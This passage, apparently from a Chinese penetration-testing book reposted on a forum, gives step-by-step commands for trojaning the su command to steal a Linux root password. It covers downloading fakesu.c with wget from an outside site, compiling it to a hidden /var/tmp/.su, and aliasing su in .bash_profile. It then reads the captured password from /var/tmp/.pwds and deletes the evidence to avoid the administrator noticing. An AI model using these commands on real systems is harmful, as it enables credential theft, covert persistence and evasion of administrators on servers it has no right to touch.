1)将 fakesu.c 程序复制到用户目录下
如果具备 SSH 用户权限,可以通过 SSH Secure Shell 的文件传输功能将本地文件上传到服务器
中,如图 3-1 所示。如果具备 WebShell 权限,也可以通过 WebShell 将 fakesu.c 程序上传到服务器中。
如果是反弹的 DOS 命令提示符,则可以通过命令“wget http://www.somesite.com/ fakesu.c”将其下载
到服务器中。
(2)再次检查源代码
使用“cat fakesu.c”命令查看程序源代码,确认之前提及的 3 个地方都已正确修改,如图 3-2 所示。
网络攻防实战研究:漏洞利用与提权
(3)执行命令
执行如下命令。
Chmod 777 fakesu.c
gcc -o .su fakesu.c; rm -rf fakesu.c
mv .su /var/tmp/.su
cd ~
cp .bash_profile .wgetrc
cp .bash_profile .wgetrb
echo “alias su=/var/tmp/.su”>>.bash_profile Logout
“Chmod 777 fakesu.c”表示使程序“fakesu.c”具有最高权限。
“gcc -o .su fakesu.c;rm -rf fakesu.c”用于编译 fakesu.c 程序,生成.su 文件,同时彻底删除
fakesu.c 程序。“rm -rf”用于在 Linux 中彻底删除文件及目录(不管目录中是否存在文件)。
“cd ~”用于转到当前 Shell 的主目录。
“cp .bash_profile .wgetrb”用于将 .bash_profile 文件备份成 .wgetrb 文件。
“echo “alias su=/var/tmp/.su”>>.bash_profile”用于将用户登录的 su 命令指向“/var/tmp/.su”
命令。
“Logout”用于注销当前 SSH Secure Shell 登录命令。如果是反弹 Shell,可以使用“exit”
命令。执行命令后,如图 3-3 所示,编译 fakesu.c 程序时可能会出现警告信息“webadm.c:
19:警告:赋值时将整数赋给指针,未作类型转换”,该警告信息不会影响程序的正常运行。
图 3-3 执行命令
3.1.3 查看密码记录文件
根据 fakesu.c 程序中设置的密码记录文件可知,在本例中记录的文件为“/var/tmp/.pwds”。该文
件默认为隐藏属性,可以直接通过命令“cat /var/tmp/.pwds”查看,如图 3-4 所示,记录的 root 用户
的密码为“simeon”。
3.1.4 删除安装文件
当 fakesu.c 程序成功记录 root 用户的密码后,需要删除安装的程序文件,否则时间久了容易引
起管理员的警觉。可以使用以下命令删除程序文件。
rm -rf /var/tmp/.su
cp .wgetrb .bash_profile
rm -rf .wgetrc
rm -rf /var/tmp/.pwds
没有回复内容